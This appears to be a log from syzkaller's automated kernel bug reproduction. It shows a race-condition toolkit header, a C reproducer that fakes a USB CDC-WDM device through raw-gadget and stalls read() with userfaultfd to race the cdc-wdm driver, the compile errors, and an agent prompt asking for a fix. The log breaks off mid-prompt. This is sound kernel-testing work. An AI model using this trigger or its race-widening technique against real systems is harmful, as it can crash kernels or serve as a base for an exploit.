// Macros and snippets for CPU pinning, memory barriers, and userfaultfd.
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/futex.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <time.h>
#include <unistd.h>
// Unbuffered I/O: Ensure logs are written immediately.
#define SETUP_UNBUFFERED_IO() setvbuf(stdout, NULL, _IONBF, 0)
// CPU Pinning: Pin the current thread to a specific CPU core.
#define PIN_TO_CPU(cpu) \
do { \
cpu_set_t mask; \
CPU_ZERO(&mask); \
CPU_SET(cpu, &mask); \
if (sched_setaffinity(0, sizeof(mask), &mask) == -1) { \
perror("sched_setaffinity"); \
} \
} while (0)
// Memory Barrier: Ensure memory ordering.
#define MB() __atomic_thread_fence(__ATOMIC_SEQ_CST)
// Spin-wait Barrier: Wait until a memory location has a specific value.
// Best for tight race windows (low latency, no context switches).
#define WAIT_ON(addr, val) \
do { \
while (__atomic_load_n(addr, __ATOMIC_ACQUIRE) != (val)) \
; \
} while (0)
// Signal: Set a memory location to a specific value to release a WAIT_ON.
#define SIGNAL(addr, val) __atomic_store_n(addr, val, __ATOMIC_RELEASE)
// --- Timing Primitives ---
// Robust timing loops in VM environments (using CLOCK_MONOTONIC to avoid time(NULL) jumps).
static inline double timer_elapsed_sec(struct timespec* start)
{
struct timespec now;
if (clock_gettime(CLOCK_MONOTONIC, &now) == -1) {
perror("clock_gettime(CLOCK_MONOTONIC) elapsed");
exit(1);
}
return (double)(now.tv_sec - start->tv_sec) + (double)(now.tv_nsec - start->tv_nsec) / 1e9;
}
// Initialize a monotonic timer variable.
#define TIMER_START(t) \
struct timespec t; \
if (clock_gettime(CLOCK_MONOTONIC, &t) == -1) { \
perror("clock_gettime(CLOCK_MONOTONIC) start"); \
exit(1); \
}
// Check if the elapsed time since 't' is less than 'sec' seconds.
#define TIMER_NOT_EXPIRED(t, sec) (timer_elapsed_sec(&(t)) < (double)(sec))
// Futex-based Event: Shared with syzkaller executor.
// Best for general synchronization or longer waits to save CPU.
typedef struct {
int state;
} event_t;
static void event_init(event_t* ev)
{
ev->state = 0;
}
static void event_reset(event_t* ev)
{
ev->state = 0;
}
static void event_set(event_t* ev)
{
if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) {
fprintf(stderr, "event already set\n");
exit(1);
}
__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}
static void event_wait(event_t* ev)
{
while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}
// userfaultfd setup: Register a memory range for page fault handling.
static int setup_uffd(void* addr, size_t len)
{
int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
return -1;
struct uffdio_api api = {.api = UFFD_API, .features = 0};
if (ioctl(uffd, UFFDIO_API, &api) == -1) {
close(uffd);
return -1;
}
struct uffdio_register reg = {
.range = {.start = (uintptr_t)addr, .len = len},
.mode = UFFDIO_REGISTER_MODE_MISSING};
if (ioctl(uffd, UFFDIO_REGISTER, ®) == -1) {
close(uffd);
return -1;
}
return uffd;
}
// --- Guidance on Usage ---
// 1. Use WAIT_ON/SIGNAL for tight race conditions to avoid scheduling overhead.
// 2. Use event_t (futexes) for general coordination or when waiting for longer periods.
// 3. Always use PIN_TO_CPU to increase race probability on multi-core systems.
// 4. Use setup_uffd to register a memory range for page fault handling. This allows you to
// pause a thread accessing that memory until you handle the fault, creating a reliable
// and controllable race window.
// 5. Call SETUP_UNBUFFERED_IO() at the start of main() to ensure that logs are printed
// immediately. This is essential for understanding the exact interleaving of events
// when debugging race conditions.
// 6. For timing-based loops (e.g., running a race for 10 seconds), do NOT use time(NULL)
// or loops relying on real-time clocks, as VM clocks are highly unreliable and can fail or drift.
// Instead, use the robust monotonic timing primitives TIMER_START and TIMER_NOT_EXPIRED:
// TIMER_START(start);
// while (TIMER_NOT_EXPIRED(start, 10.0)) {
// // Your race logic here
// }
#define UDC_NAME_LENGTH_MAX 128
struct usb_raw_init {
__u8 driver_name[UDC_NAME_LENGTH_MAX];
__u8 device_name[UDC_NAME_LENGTH_MAX];
__u8 speed;
};
enum usb_raw_event_type {
USB_RAW_EVENT_INVALID = 0,
USB_RAW_EVENT_CONNECT = 1,
USB_RAW_EVENT_CONTROL = 2,
};
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[64];
};
struct usb_raw_ep_io {
__u16 ep;
__u16 flags;
__u32 length;
__u8 data[256];
};
#define USB_RAW_IOCTL_INIT _IOW('U', 0, struct usb_raw_init)
#define USB_RAW_IOCTL_RUN _IO('U', 1)
#define USB_RAW_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_raw_event)
#define USB_RAW_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor)
#define USB_RAW_IOCTL_EP_WRITE _IOW('U', 7, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_CONFIGURE _IO('U', 9)
#define USB_RAW_IOCTL_EP0_STALL _IO('U', 12)
#define USB_RAW_IOCTL_EP_SET_HALT _IOW('U', 13, __u32)
struct usb_cdc_notification {
__u8 bmRequestType;
__u8 bNotificationType;
__le16 wValue;
__le16 wIndex;
__le16 wLength;
} __attribute__ ((packed));
struct usb_device_descriptor dev_desc = {
.bLength = sizeof(dev_desc),
.bDescriptorType = USB_DT_DEVICE,
.bcdUSB = htole16(0x0200),
.bDeviceClass = 2,
.bDeviceSubClass = 0,
.bDeviceProtocol = 0,
.bMaxPacketSize0 = 64,
.idVendor = htole16(0x0525),
.idProduct = htole16(0xa4a7),
.bcdDevice = htole16(0x0100),
.iManufacturer = 0,
.iProduct = 0,
.iSerialNumber = 0,
.bNumConfigurations = 1,
};
struct usb_cdc_header_desc {
__u8 bLength;
__u8 bDescriptorType;
__u8 bDescriptorSubType;
__le16 bcdCDC;
} __attribute__((packed));
struct {
struct usb_config_descriptor conf;
struct usb_interface_descriptor intf;
struct usb_cdc_header_desc cdc_hdr;
struct usb_endpoint_descriptor ep_in;
} __attribute__((packed)) conf_desc = {
.conf = {
.bLength = sizeof(conf_desc.conf),
.bDescriptorType = USB_DT_CONFIG,
.wTotalLength = htole16(sizeof(conf_desc)),
.bNumInterfaces = 1,
.bConfigurationValue = 1,
.iConfiguration = 0,
.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER,
.bMaxPower = 50,
},
.intf = {
.bLength = sizeof(conf_desc.intf),
.bDescriptorType = USB_DT_INTERFACE,
.bInterfaceNumber = 0,
.bAlternateSetting = 0,
.bNumEndpoints = 1,
.bInterfaceClass = 2, // USB_CLASS_COMM
.bInterfaceSubClass = 9, // USB_CDC_SUBCLASS_DMM
.bInterfaceProtocol = 0,
.iInterface = 0,
},
.cdc_hdr = {
.bLength = sizeof(conf_desc.cdc_hdr),
.bDescriptorType = 0x24, // USB_DT_CS_INTERFACE
.bDescriptorSubType = 0x00, // USB_CDC_HEADER_TYPE
.bcdCDC = htole16(0x0110),
},
.ep_in = {
.bLength = sizeof(conf_desc.ep_in),
.bDescriptorType = USB_DT_ENDPOINT,
.bEndpointAddress = 0x81, // EP1 IN
.bmAttributes = USB_ENDPOINT_XFER_INT,
.wMaxPacketSize = htole16(64),
.bInterval = 1,
},
};
int fd_raw;
int ep_in = -1;
event_t gadget_ready;
event_t read_blocked;
event_t resolve_uffd;
event_t notif2_sent;
void setup_gadget() {
fd_raw = open("/dev/raw-gadget", O_RDWR);
if (fd_raw < 0) {
perror("open /dev/raw-gadget");
exit(1);
}
struct usb_raw_init init = {
.driver_name = "dummy_udc",
.device_name = "dummy_udc.0",
.speed = USB_SPEED_HIGH,
};
if (ioctl(fd_raw, USB_RAW_IOCTL_INIT, &init) < 0) {
perror("USB_RAW_IOCTL_INIT");
exit(1);
}
if (ioctl(fd_raw, USB_RAW_IOCTL_RUN, 0) < 0) {
perror("USB_RAW_IOCTL_RUN");
exit(1);
}
}
void *gadget_thread(void *arg) {
setup_gadget();
printf("[+] Gadget initialized and running.\n");
while (1) {
struct usb_raw_event event;
event.type = 0;
event.length = sizeof(event.data);
if (ioctl(fd_raw, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0)
continue;
if (event.type == USB_RAW_EVENT_CONTROL) {
struct usb_ctrlrequest *req = (struct usb_ctrlrequest *)event.data;
struct usb_raw_ep_io io;
io.ep = 0;
io.flags = 0;
io.length = 0;
if (req->bRequestType == 0x80 && req->bRequest == USB_REQ_GET_DESCRIPTOR) {
if (req->wValue == (USB_DT_DEVICE << 8)) {
io.length = sizeof(dev_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &dev_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else if (req->wValue == (USB_DT_CONFIG << 8)) {
io.length = sizeof(conf_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &conf_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
} else if (req->bRequestType == 0x00 && req->bRequest == USB_REQ_SET_CONFIGURATION) {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
ioctl(fd_raw, USB_RAW_IOCTL_CONFIGURE, 0);
ep_in = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &conf_desc.ep_in);
if (ep_in >= 0) {
printf("[+] Endpoint EP1 IN enabled (index %d).\n", ep_in);
if (!__atomic_load_n(&gadget_ready.state, __ATOMIC_ACQUIRE))
event_set(&gadget_ready);
} else {
printf("[-] Failed to enable EP1 IN\n");
}
} else if (req->bRequestType == 0xA1 && req->bRequest == 0x01) {
static int resp_count = 0;
if (resp_count == 0) {
printf("[+] Received first Control Read (0xA1 0x01), waiting for Notif 2...\n");
event_wait(¬if2_sent);
usleep(100000); // Give host time to process Notif 2
printf("[+] Responding to first Control Read.\n");
io.length = 10;
memset(io.data, 'A', 10);
if (io.length > req->wLength) io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
resp_count++;
} else {
printf("[+] Received subsequent Control Read (0xA1 0x01), ignoring to hang URB.\n");
// Do nothing, let the host's URB hang active indefinitely
}
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
}
}
return NULL;
}
void *ep1_thread(void *arg) {
event_wait(&gadget_ready);
usleep(200000); // Wait for host to fully enumerate and submit int urb
struct usb_cdc_notification notif = {
.bmRequestType = 0xA1,
.bNotificationType = 0x01, // USB_CDC_NOTIFY_RESPONSE_AVAILABLE
.wValue = 0,
.wIndex = 0,
.wLength = 0,
};
struct usb_raw_ep_io io_ep1;
io_ep1.ep = ep_in;
io_ep1.flags = 0;
io_ep1.length = sizeof(notif);
memcpy(io_ep1.data, ¬if, sizeof(notif));
printf("[+] Sending first notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 1");
}
printf("[+] Sending second notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 2");
}
printf("[+] Second notification sent.\n");
event_set(¬if2_sent);
printf("[+] Waiting for read() to block in userfaultfd...\n");
event_wait(&read_blocked);
printf("[+] Sending STALL on EP1 to trigger wdm_rxwork...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, ep_in) < 0) {
perror("USB_RAW_IOCTL_EP_SET_HALT");
}
// Wait for wdm_rxwork to start and submit the URB
usleep(200000);
printf("[+] Resolving userfaultfd to finish read()...\n");
event_set(&resolve_uffd);
return NULL;
}
void *uffd_thread(void *arg) {
int uffd = (int)(long)arg;
struct uffd_msg msg;
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) {
perror("read uffd");
exit(1);
}
if (msg.event == UFFD_EVENT_PAGEFAULT) {
printf("[+] Page fault detected in read() buffer.\n");
event_set(&read_blocked);
event_wait(&resolve_uffd);
struct uffdio_copy copy;
char page[4096];
memset(page, 0, sizeof(page));
copy.src = (uintptr_t)page;
copy.dst = msg.arg.pagefault.address & ~(4095);
copy.len = 4096;
copy.mode = 0;
copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, ©) < 0) {
perror("UFFDIO_COPY");
}
printf("[+] Page fault resolved.\n");
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
event_init(&gadget_ready);
event_init(&read_blocked);
event_init(&resolve_uffd);
event_init(¬if2_sent);
pthread_t tid_gadget, tid_ep1, tid_uffd;
pthread_create(&tid_gadget, NULL, gadget_thread, NULL);
pthread_create(&tid_ep1, NULL, ep1_thread, NULL);
event_wait(&gadget_ready);
printf("[+] Waiting for /dev/cdc-wdmX to appear...\n");
usleep(500000);
char dev_path[64] = "/dev/cdc-wdm0";
int fd_wdm = -1;
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
sleep(1);
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
fprintf(stderr, "[-] Failed to open cdc-wdm device\n");
exit(1);
}
}
void *addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED) {
perror("mmap");
exit(1);
}
int uffd = setup_uffd(addr, 4096);
if (uffd < 0) {
fprintf(stderr, "[-] Failed to setup uffd\n");
exit(1);
}
pthread_create(&tid_uffd, NULL, uffd_thread, (void *)(long)uffd);
printf("[+] Calling read() on %s...\n", dev_path);
int ret = read(fd_wdm, addr, 10);
if (ret < 0) {
perror("read fd_wdm");
} else {
printf("[+] read() returned %d\n", ret);
}
// Wait a bit for the WARNING to be printed
sleep(2);
printf("[+] Done.\n");
return 0;
}
In file included from <stdin>:2:
<stdin>:215:12: error: initializer element is not constant
<stdin>:215:12: note: (near initialization for 'dev_desc.bcdUSB')
<stdin>:220:14: error: initializer element is not constant
<stdin>:220:14: note: (near initialization for 'dev_desc.idVendor')
<stdin>:221:15: error: initializer element is not constant
<stdin>:221:15: note: (near initialization for 'dev_desc.idProduct')
<stdin>:222:15: error: initializer element is not constant
<stdin>:222:15: note: (near initialization for 'dev_desc.bcdDevice')
<stdin>:245:19: error: initializer element is not constant
<stdin>:245:19: note: (near initialization for 'conf_desc.conf.wTotalLength')
<stdin>:267:13: error: initializer element is not constant
<stdin>:267:13: note: (near initialization for 'conf_desc.cdc_hdr.bcdCDC')
<stdin>:274:21: error: initializer element is not constant
<stdin>:274:21: note: (near initialization for 'conf_desc.ep_in.wMaxPacketSize')
cc1: note: unrecognized command-line option '-Wno-unused-command-line-argument' may have been intended to silence earlier diagnostics
compiler invocation: gcc [-o /tmp/syz-executor199630447 -DGOOS_linux=1 -DGOARCH_amd64=1 -DHOSTGOOS_linux=1 -x c - -m64 -O2 -pthread -Wall -Werror -Wparentheses -Wunused-const-variable -Wframe-larger-than=16384 -Wno-stringop-overflow -Wno-array-bounds -Wno-format-overflow -Wno-unused-but-set-variable -Wno-unused-command-line-argument -static-pie -fpermissive -w]]
|
| 136/6 |
2026/09/11 22:28 |
agent |
repro-repairer |
1m
Model:
Instruction: You are an experienced C developer.
Your goal is to repair a C program that failed to compile.
Analyze the compiler error and provide a corrected version of the C program.
Make the minimal necessary changes to fix the compilation error.
Preserve the structure, logic, and intent of the original code.
Do NOT replace the program with a dummy placeholder (e.g., an empty main function).
Print only the C program that could be executed directly, without backticks.
Prefer calling several tools at the same time to save round-trips.
Prompt: C Program:
#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>
#include "race_toolkit.h"
#define UDC_NAME_LENGTH_MAX 128
struct usb_raw_init {
__u8 driver_name[UDC_NAME_LENGTH_MAX];
__u8 device_name[UDC_NAME_LENGTH_MAX];
__u8 speed;
};
enum usb_raw_event_type {
USB_RAW_EVENT_INVALID = 0,
USB_RAW_EVENT_CONNECT = 1,
USB_RAW_EVENT_CONTROL = 2,
};
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[64];
};
struct usb_raw_ep_io {
__u16 ep;
__u16 flags;
__u32 length;
__u8 data[256];
};
#define USB_RAW_IOCTL_INIT _IOW('U', 0, struct usb_raw_init)
#define USB_RAW_IOCTL_RUN _IO('U', 1)
#define USB_RAW_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_raw_event)
#define USB_RAW_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor)
#define USB_RAW_IOCTL_EP_WRITE _IOW('U', 7, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_CONFIGURE _IO('U', 9)
#define USB_RAW_IOCTL_EP0_STALL _IO('U', 12)
#define USB_RAW_IOCTL_EP_SET_HALT _IOW('U', 13, __u32)
struct usb_cdc_notification {
__u8 bmRequestType;
__u8 bNotificationType;
__le16 wValue;
__le16 wIndex;
__le16 wLength;
} __attribute__ ((packed));
struct usb_device_descriptor dev_desc = {
.bLength = sizeof(dev_desc),
.bDescriptorType = USB_DT_DEVICE,
.bcdUSB = htole16(0x0200),
.bDeviceClass = 2,
.bDeviceSubClass = 0,
.bDeviceProtocol = 0,
.bMaxPacketSize0 = 64,
.idVendor = htole16(0x0525),
.idProduct = htole16(0xa4a7),
.bcdDevice = htole16(0x0100),
.iManufacturer = 0,
.iProduct = 0,
.iSerialNumber = 0,
.bNumConfigurations = 1,
};
struct usb_cdc_header_desc {
__u8 bLength;
__u8 bDescriptorType;
__u8 bDescriptorSubType;
__le16 bcdCDC;
} __attribute__((packed));
struct {
struct usb_config_descriptor conf;
struct usb_interface_descriptor intf;
struct usb_cdc_header_desc cdc_hdr;
struct usb_endpoint_descriptor ep_in;
} __attribute__((packed)) conf_desc = {
.conf = {
.bLength = sizeof(conf_desc.conf),
.bDescriptorType = USB_DT_CONFIG,
.wTotalLength = htole16(sizeof(conf_desc)),
.bNumInterfaces = 1,
.bConfigurationValue = 1,
.iConfiguration = 0,
.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER,
.bMaxPower = 50,
},
.intf = {
.bLength = sizeof(conf_desc.intf),
.bDescriptorType = USB_DT_INTERFACE,
.bInterfaceNumber = 0,
.bAlternateSetting = 0,
.bNumEndpoints = 1,
.bInterfaceClass = 2, // USB_CLASS_COMM
.bInterfaceSubClass = 9, // USB_CDC_SUBCLASS_DMM
.bInterfaceProtocol = 0,
.iInterface = 0,
},
.cdc_hdr = {
.bLength = sizeof(conf_desc.cdc_hdr),
.bDescriptorType = 0x24, // USB_DT_CS_INTERFACE
.bDescriptorSubType = 0x00, // USB_CDC_HEADER_TYPE
.bcdCDC = htole16(0x0110),
},
.ep_in = {
.bLength = sizeof(conf_desc.ep_in),
.bDescriptorType = USB_DT_ENDPOINT,
.bEndpointAddress = 0x81, // EP1 IN
.bmAttributes = USB_ENDPOINT_XFER_INT,
.wMaxPacketSize = htole16(64),
.bInterval = 1,
},
};
int fd_raw;
int ep_in = -1;
event_t gadget_ready;
event_t read_blocked;
event_t resolve_uffd;
event_t notif2_sent;
void setup_gadget() {
fd_raw = open("/dev/raw-gadget", O_RDWR);
if (fd_raw < 0) {
perror("open /dev/raw-gadget");
exit(1);
}
struct usb_raw_init init = {
.driver_name = "dummy_udc",
.device_name = "dummy_udc.0",
.speed = USB_SPEED_HIGH,
};
if (ioctl(fd_raw, USB_RAW_IOCTL_INIT, &init) < 0) {
perror("USB_RAW_IOCTL_INIT");
exit(1);
}
if (ioctl(fd_raw, USB_RAW_IOCTL_RUN, 0) < 0) {
perror("USB_RAW_IOCTL_RUN");
exit(1);
}
}
void *gadget_thread(void *arg) {
setup_gadget();
printf("[+] Gadget initialized and running.\n");
while (1) {
struct usb_raw_event event;
event.type = 0;
event.length = sizeof(event.data);
if (ioctl(fd_raw, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0)
continue;
if (event.type == USB_RAW_EVENT_CONTROL) {
struct usb_ctrlrequest *req = (struct usb_ctrlrequest *)event.data;
struct usb_raw_ep_io io;
io.ep = 0;
io.flags = 0;
io.length = 0;
if (req->bRequestType == 0x80 && req->bRequest == USB_REQ_GET_DESCRIPTOR) {
if (req->wValue == (USB_DT_DEVICE << 8)) {
io.length = sizeof(dev_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &dev_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else if (req->wValue == (USB_DT_CONFIG << 8)) {
io.length = sizeof(conf_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &conf_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
} else if (req->bRequestType == 0x00 && req->bRequest == USB_REQ_SET_CONFIGURATION) {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
ioctl(fd_raw, USB_RAW_IOCTL_CONFIGURE, 0);
ep_in = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &conf_desc.ep_in);
if (ep_in >= 0) {
printf("[+] Endpoint EP1 IN enabled (index %d).\n", ep_in);
if (!__atomic_load_n(&gadget_ready.state, __ATOMIC_ACQUIRE))
event_set(&gadget_ready);
} else {
printf("[-] Failed to enable EP1 IN\n");
}
} else if (req->bRequestType == 0xA1 && req->bRequest == 0x01) {
static int resp_count = 0;
if (resp_count == 0) {
printf("[+] Received first Control Read (0xA1 0x01), waiting for Notif 2...\n");
event_wait(¬if2_sent);
usleep(100000); // Give host time to process Notif 2
printf("[+] Responding to first Control Read.\n");
io.length = 10;
memset(io.data, 'A', 10);
if (io.length > req->wLength) io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
resp_count++;
} else {
printf("[+] Received subsequent Control Read (0xA1 0x01), ignoring to hang URB.\n");
// Do nothing, let the host's URB hang active indefinitely
}
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
}
}
return NULL;
}
void *ep1_thread(void *arg) {
event_wait(&gadget_ready);
usleep(200000); // Wait for host to fully enumerate and submit int urb
struct usb_cdc_notification notif = {
.bmRequestType = 0xA1,
.bNotificationType = 0x01, // USB_CDC_NOTIFY_RESPONSE_AVAILABLE
.wValue = 0,
.wIndex = 0,
.wLength = 0,
};
struct usb_raw_ep_io io_ep1;
io_ep1.ep = ep_in;
io_ep1.flags = 0;
io_ep1.length = sizeof(notif);
memcpy(io_ep1.data, ¬if, sizeof(notif));
printf("[+] Sending first notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 1");
}
printf("[+] Sending second notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 2");
}
printf("[+] Second notification sent.\n");
event_set(¬if2_sent);
printf("[+] Waiting for read() to block in userfaultfd...\n");
event_wait(&read_blocked);
printf("[+] Sending STALL on EP1 to trigger wdm_rxwork...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, ep_in) < 0) {
perror("USB_RAW_IOCTL_EP_SET_HALT");
}
// Wait for wdm_rxwork to start and submit the URB
usleep(200000);
printf("[+] Resolving userfaultfd to finish read()...\n");
event_set(&resolve_uffd);
return NULL;
}
void *uffd_thread(void *arg) {
int uffd = (int)(long)arg;
struct uffd_msg msg;
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) {
perror("read uffd");
exit(1);
}
if (msg.event == UFFD_EVENT_PAGEFAULT) {
printf("[+] Page fault detected in read() buffer.\n");
event_set(&read_blocked);
event_wait(&resolve_uffd);
struct uffdio_copy copy;
char page[4096];
memset(page, 0, sizeof(page));
copy.src = (uintptr_t)page;
copy.dst = msg.arg.pagefault.address & ~(4095);
copy.len = 4096;
copy.mode = 0;
copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, ©) < 0) {
perror("UFFDIO_COPY");
}
printf("[+] Page fault resolved.\n");
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
event_init(&gadget_ready);
event_init(&read_blocked);
event_init(&resolve_uffd);
event_init(¬if2_sent);
pthread_t tid_gadget, tid_ep1, tid_uffd;
pthread_create(&tid_gadget, NULL, gadget_thread, NULL);
pthread_create(&tid_ep1, NULL, ep1_thread, NULL);
event_wait(&gadget_ready);
printf("[+] Waiting for /dev/cdc-wdmX to appear...\n");
usleep(500000);
char dev_path[64] = "/dev/cdc-wdm0";
int fd_wdm = -1;
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
sleep(1);
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
fprintf(stderr, "[-] Failed to open cdc-wdm device\n");
exit(1);
}
}
void *addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED) {
perror("mmap");
exit(1);
}
int uffd = setup_uffd(addr, 4096);
if (uffd < 0) {
fprintf(stderr, "[-] Failed to setup uffd\n");
exit(1);
}
pthread_create(&tid_uffd, NULL, uffd_thread, (void *)(long)uffd);
printf("[+] Calling read() on %s...\n", dev_path);
int ret = read(fd_wdm, addr, 10);
if (ret < 0) {
perror("read fd_wdm");
} else {
printf("[+] read() returned %d\n", ret);
}
// Wait a bit for the WARNING to be printed
sleep(2);
printf("[+] Done.\n");
return 0;
}
Compiler Error:
failed to build program:
#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>
// Copyright 2026 syzkaller project authors. All rights reserved.
// Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file.
// IMPORTANT: Do not copy the macros or definitions below directly into your reproducer.
// Instead, add the following line to your reproducer:
// #include "race_toolkit.h"
// --- Race Condition Toolkit ---
// Macros and snippets for CPU pinning, memory barriers, and userfaultfd.
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/futex.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <time.h>
#include <unistd.h>
// Unbuffered I/O: Ensure logs are written immediately.
#define SETUP_UNBUFFERED_IO() setvbuf(stdout, NULL, _IONBF, 0)
// CPU Pinning: Pin the current thread to a specific CPU core.
#define PIN_TO_CPU(cpu) \
do { \
cpu_set_t mask; \
CPU_ZERO(&mask); \
CPU_SET(cpu, &mask); \
if (sched_setaffinity(0, sizeof(mask), &mask) == -1) { \
perror("sched_setaffinity"); \
} \
} while (0)
// Memory Barrier: Ensure memory ordering.
#define MB() __atomic_thread_fence(__ATOMIC_SEQ_CST)
// Spin-wait Barrier: Wait until a memory location has a specific value.
// Best for tight race windows (low latency, no context switches).
#define WAIT_ON(addr, val) \
do { \
while (__atomic_load_n(addr, __ATOMIC_ACQUIRE) != (val)) \
; \
} while (0)
// Signal: Set a memory location to a specific value to release a WAIT_ON.
#define SIGNAL(addr, val) __atomic_store_n(addr, val, __ATOMIC_RELEASE)
// --- Timing Primitives ---
// Robust timing loops in VM environments (using CLOCK_MONOTONIC to avoid time(NULL) jumps).
static inline double timer_elapsed_sec(struct timespec* start)
{
struct timespec now;
if (clock_gettime(CLOCK_MONOTONIC, &now) == -1) {
perror("clock_gettime(CLOCK_MONOTONIC) elapsed");
exit(1);
}
return (double)(now.tv_sec - start->tv_sec) + (double)(now.tv_nsec - start->tv_nsec) / 1e9;
}
// Initialize a monotonic timer variable.
#define TIMER_START(t) \
struct timespec t; \
if (clock_gettime(CLOCK_MONOTONIC, &t) == -1) { \
perror("clock_gettime(CLOCK_MONOTONIC) start"); \
